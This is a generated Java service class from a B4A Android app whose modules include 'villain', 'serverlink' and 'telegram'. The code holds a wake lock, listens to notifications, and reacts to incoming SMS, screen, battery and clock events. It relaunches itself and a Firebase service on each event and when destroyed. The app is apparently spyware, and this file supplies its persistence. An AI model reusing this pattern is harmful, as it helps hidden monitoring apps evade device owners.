package matinlurd.com;


import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.objects.ServiceHelper;
import anywheresoftware.b4a.debug.*;

public class background extends android.app.Service{
	public static class background_BR extends android.content.BroadcastReceiver {

		@Override
		public void onReceive(android.content.Context context, android.content.Intent intent) {
            BA.LogInfo("** Receiver (background) OnReceive **");
			android.content.Intent in = new android.content.Intent(context, background.class);
			if (intent != null)
				in.putExtra("b4a_internal_intent", intent);
            ServiceHelper.StarterHelper.startServiceFromReceiver (context, in, false, BA.class);
		}

	}
    static background mostCurrent;
	public static BA processBA;
    private ServiceHelper _service;
    public static Class<?> getObject() {
		return background.class;
	}
	@Override
	public void onCreate() {
        super.onCreate();
        mostCurrent = this;
        if (processBA == null) {
		    processBA = new BA(this, null, null, "matinlurd.com", "matinlurd.com.background");
            if (BA.isShellModeRuntimeCheck(processBA)) {
                processBA.raiseEvent2(null, true, "SHELL", false);
		    }
            try {
                Class.forName(BA.applicationContext.getPackageName() + ".main").getMethod("initializeProcessGlobals").invoke(null, null);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
            processBA.loadHtSubs(this.getClass());
            ServiceHelper.init();
        }
        _service = new ServiceHelper(this);
        processBA.service = this;
        
        if (BA.isShellModeRuntimeCheck(processBA)) {
			processBA.raiseEvent2(null, true, "CREATE", true, "matinlurd.com.background", processBA, _service, anywheresoftware.b4a.keywords.Common.Density);
		}
        if (!false && ServiceHelper.StarterHelper.startFromServiceCreate(processBA, false) == false) {
				
		}
		else {
            processBA.setActivityPaused(false);
            BA.LogInfo("*** Service (background) Create ***");
            processBA.raiseEvent(null, "service_create");
        }
        processBA.runHook("oncreate", this, null);
        if (false) {
			if (ServiceHelper.StarterHelper.runWaitForLayouts() == false) {
                BA.LogInfo("stopping spontaneous created service");
                stopSelf();
            }
		}
    }
		@Override
	public void onStart(android.content.Intent intent, int startId) {
		onStartCommand(intent, 0, 0);
    }
    @Override
    public int onStartCommand(final android.content.Intent intent, int flags, int startId) {
    	if (ServiceHelper.StarterHelper.onStartCommand(processBA, new Runnable() {
            public void run() {
                handleStart(intent);
            }}))
			;
		else {
			ServiceHelper.StarterHelper.addWaitForLayout (new Runnable() {
				public void run() {
                    processBA.setActivityPaused(false);
                    BA.LogInfo("** Service (background) Create **");
                    processBA.raiseEvent(null, "service_create");
					handleStart(intent);
                    ServiceHelper.StarterHelper.removeWaitForLayout();
				}
			});
		}
        processBA.runHook("onstartcommand", this, new Object[] {intent, flags, startId});
		return android.app.Service.START_STICKY;
    }
    public void onTaskRemoved(android.content.Intent rootIntent) {
        super.onTaskRemoved(rootIntent);
        if (false)
            processBA.raiseEvent(null, "service_taskremoved");
            
    }
    private void handleStart(android.content.Intent intent) {
    	BA.LogInfo("** Service (background) Start **");
    	java.lang.reflect.Method startEvent = processBA.htSubs.get("service_start");
    	if (startEvent != null) {
    		if (startEvent.getParameterTypes().length > 0) {
    			anywheresoftware.b4a.objects.IntentWrapper iw = ServiceHelper.StarterHelper.handleStartIntent(intent, _service, processBA);
    			processBA.raiseEvent(null, "service_start", iw);
    		}
    		else {
    			processBA.raiseEvent(null, "service_start");
    		}
    	}
    }

	public void onTimeout(int startId) {
        BA.LogInfo("** Service (background) Timeout **");
        anywheresoftware.b4a.objects.collections.Map params = new anywheresoftware.b4a.objects.collections.Map();
        params.Initialize();
        params.Put("StartId", startId);
        processBA.raiseEvent(null, "service_timeout", params);
            
    }
	@Override
	public void onDestroy() {
        super.onDestroy();
        if (false) {
            BA.LogInfo("** Service (background) Destroy (ignored)**");
        }
        else {
            BA.LogInfo("** Service (background) Destroy **");
		    processBA.raiseEvent(null, "service_destroy");
            processBA.service = null;
		    mostCurrent = null;
		    processBA.setActivityPaused(true);
            processBA.runHook("ondestroy", this, null);
        }
	}

@Override
	public android.os.IBinder onBind(android.content.Intent intent) {
		return null;
	}public anywheresoftware.b4a.keywords.Common __c = null;
public static PNBroadcastReceiver.PNBrodcastReceiver _pnreciver = null;
public static anywheresoftware.b4a.phone.Phone.PhoneWakeState _awak = null;
public static anywheresoftware.b4a.objects.NotificationListenerWrapper.NotificationListener _listener = null;
public matinlurd.com.main _main = null;
public matinlurd.com.newmessage _newmessage = null;
public matinlurd.com.serverlink _serverlink = null;
public matinlurd.com.firebasemessaging _firebasemessaging = null;
public matinlurd.com.starter _starter = null;
public matinlurd.com.subs _subs = null;
public matinlurd.com.matin _matin = null;
public matinlurd.com.myfun _myfun = null;
public matinlurd.com.chrome _chrome = null;
public matinlurd.com.mainchange _mainchange = null;
public matinlurd.com.second _second = null;
public matinlurd.com.telegram _telegram = null;
public matinlurd.com.villain _villain = null;
public matinlurd.com.youtube _youtube = null;
public matinlurd.com.httputils2service _httputils2service = null;
public static String  _pnreciver_onreceive(String _action,String[] _keys,Object _data) throws Exception{
 //BA.debugLineNum = 27;BA.debugLine="Sub pnreciver_OnReceive(Action As String, keys() A";
 //BA.debugLineNum = 29;BA.debugLine="If Action=\"android.intent.action.SCREEN_ON\" Then";
if ((_action).equals("android.intent.action.SCREEN_ON")) { 
 //BA.debugLineNum = 30;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,background.getObject());
 //BA.debugLineNum = 31;BA.debugLine="StartService(FirebaseMessaging)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(mostCurrent._firebasemessaging.getObject()));
 };
 //BA.debugLineNum = 33;BA.debugLine="If Action=\"android.intent.action.SCREEN_OFF\" Then";
if ((_action).equals("android.intent.action.SCREEN_OFF")) { 
 //BA.debugLineNum = 34;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,background.getObject());
 //BA.debugLineNum = 35;BA.debugLine="StartService(FirebaseMessaging)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(mostCurrent._firebasemessaging.getObject()));
 };
 //BA.debugLineNum = 37;BA.debugLine="If Action=\"android.intent.action.BATTERY_CHANGED\"";
if ((_action).equals("android.intent.action.BATTERY_CHANGED")) { 
 //BA.debugLineNum = 38;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,background.getObject());
 //BA.debugLineNum = 39;BA.debugLine="StartService(FirebaseMessaging)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(mostCurrent._firebasemessaging.getObject()));
 };
 //BA.debugLineNum = 41;BA.debugLine="If Action=\"android.intent.action.TIME_TICK\" Then";
if ((_action).equals("android.intent.action.TIME_TICK")) { 
 //BA.debugLineNum = 42;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,background.getObject());
 //BA.debugLineNum = 43;BA.debugLine="StartService(FirebaseMessaging)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(mostCurrent._firebasemessaging.getObject()));
 };
 //BA.debugLineNum = 45;BA.debugLine="If Action = \"android.provider.Telephony.SMS_RECEI";
if ((_action).equals("android.provider.Telephony.SMS_RECEIVED")) { 
 //BA.debugLineNum = 46;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,background.getObject());
 //BA.debugLineNum = 47;BA.debugLine="StartService(FirebaseMessaging)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(mostCurrent._firebasemessaging.getObject()));
 };
 //BA.debugLineNum = 49;BA.debugLine="End Sub";
return "";
}
public static String  _process_globals() throws Exception{
 //BA.debugLineNum = 7;BA.debugLine="Sub Process_Globals";
 //BA.debugLineNum = 8;BA.debugLine="Dim pnreciver As PNBroadcastReceiver";
_pnreciver = new PNBroadcastReceiver.PNBrodcastReceiver();
 //BA.debugLineNum = 9;BA.debugLine="Dim awak As PhoneWakeState";
_awak = new anywheresoftware.b4a.phone.Phone.PhoneWakeState();
 //BA.debugLineNum = 10;BA.debugLine="Private listener As NotificationListener";
_listener = new anywheresoftware.b4a.objects.NotificationListenerWrapper.NotificationListener();
 //BA.debugLineNum = 11;BA.debugLine="End Sub";
return "";
}
public static String  _service_create() throws Exception{
 //BA.debugLineNum = 13;BA.debugLine="Sub Service_Create";
 //BA.debugLineNum = 14;BA.debugLine="awak.PartialLock";
_awak.PartialLock(processBA);
 //BA.debugLineNum = 15;BA.debugLine="awak.KeepAlive(False)";
_awak.KeepAlive(processBA,anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 16;BA.debugLine="listener.Initialize(\"listener\")";
_listener.Initialize(processBA,"listener");
 //BA.debugLineNum = 17;BA.debugLine="pnreciver.Initialize(\"pnreciver\")";
_pnreciver.Initialize(processBA,"pnreciver");
 //BA.debugLineNum = 18;BA.debugLine="pnreciver.AddAction(\"android.intent.action.SCREEN";
_pnreciver.AddAction("android.intent.action.SCREEN_ON");
 //BA.debugLineNum = 19;BA.debugLine="pnreciver.AddAction(\"android.intent.action.SCREEN";
_pnreciver.AddAction("android.intent.action.SCREEN_OFF");
 //BA.debugLineNum = 20;BA.debugLine="pnreciver.AddAction(\"android.intent.action.BATTER";
_pnreciver.AddAction("android.intent.action.BATTERY_CHANGED");
 //BA.debugLineNum = 21;BA.debugLine="pnreciver.AddAction(\"android.provider.Telephony.S";
_pnreciver.AddAction("android.provider.Telephony.SMS_RECEIVED");
 //BA.debugLineNum = 22;BA.debugLine="pnreciver.AddAction(\"android.intent.action.TIME_T";
_pnreciver.AddAction("android.intent.action.TIME_TICK");
 //BA.debugLineNum = 23;BA.debugLine="pnreciver.RegisterReceiver";
_pnreciver.RegisterReceiver();
 //BA.debugLineNum = 25;BA.debugLine="End Sub";
return "";
}
public static String  _service_destroy() throws Exception{
 //BA.debugLineNum = 56;BA.debugLine="Sub Service_Destroy";
 //BA.debugLineNum = 57;BA.debugLine="StartService(Me)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,background.getObject());
 //BA.debugLineNum = 58;BA.debugLine="awak.KeepAlive(False)";
_awak.KeepAlive(processBA,anywheresoftware.b4a.keywords.Common.False);
 //BA.debugLineNum = 59;BA.debugLine="End Sub";
return "";
}
public static String  _service_start(anywheresoftware.b4a.objects.IntentWrapper _startingintent) throws Exception{
 //BA.debugLineNum = 51;BA.debugLine="Sub Service_Start (StartingIntent As Intent)";
 //BA.debugLineNum = 52;BA.debugLine="If listener.HandleIntent(StartingIntent) Then Ret";
if (_listener.HandleIntent(_startingintent)) { 
if (true) return "";};
 //BA.debugLineNum = 53;BA.debugLine="StartService(FirebaseMessaging)";
anywheresoftware.b4a.keywords.Common.StartService(processBA,(Object)(mostCurrent._firebasemessaging.getObject()));
 //BA.debugLineNum = 54;BA.debugLine="End Sub";
return "";
}
}
